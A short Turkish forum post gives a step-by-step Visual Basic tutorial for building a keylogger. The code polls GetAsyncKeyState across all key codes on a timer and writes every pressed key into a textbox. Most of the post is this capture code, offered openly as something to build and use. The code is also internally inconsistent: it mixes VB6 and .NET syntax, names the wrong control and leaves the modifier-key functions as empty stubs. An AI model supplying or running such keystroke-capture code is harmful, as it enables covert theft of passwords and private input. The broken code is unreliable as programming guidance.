Key Logger böyle yapılır?

[WaTcHFuL]

Visual Basic kullanarak birlikte bir key logger yapmaya çalışalım.

Bir form oluşturalım ve forma:
# 1 adet rich textbox ve
# 1 adet timer ekliyoruz.

Formun "General" bölümüne:

"Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer"

kodunu ekleyin.

Formun load kısmına:

"Timer1.Start()"

Timer'ın içine ise şunları ekleyin:

CheckKeys() 'Tuşları yakalayıp belirleyen yordam
    End Sub

    Private Sub CheckKeys()
        Dim keyResult As String  ' Döngü içerisinde iken kullanılacak geçici değişken
        Dim keyIndex As Long
        For keyIndex = 1 To 255 ' Toplam 255 adet tuş olduğu için 1den 255e kadar
            'For-Next ile döneceğiz.
            keyResult = " "        ' Önce keyResult 'ı syfyrlayalym,
            keyResult = GetAsyncKeyState(keyIndex) ' Sıradaki tuşun durumunu öğrenelim,
            If keyResult = -32767 Then  'Tuş basılı ise geriye -32767 dönecektir.
                Call Windows_OnKeyPress(keyIndex, GetShift, GetCtrl, GetAlt) ' Event' ı simule etmek için tuşun
                ' değerini Sub' a geçirelim.
            End If
        Next keyIndex
    End Sub
    Private Sub Windows_OnKeyPress(ByVal KeyAscii As Long, ByVal Shift As Integer, ByVal Ctrl As Integer, ByVal Alt As Integer)  ' Tuş Yakalamada Event'ı
        ' Simule etmek için kullanılacak
        ' Sub
        TextBox1.Text = TextBox1.Text & Chr(KeyAscii) & Shift
    End Sub
    Private Function GetCapsLock() As Boolean
    End Function
    Private Function GetShift() As Long
    End Function
    Private Function GetCtrl() As Long
    End Function
    Private Function GetAlt() As Long  
  End Function

Kolay gelsin... =)​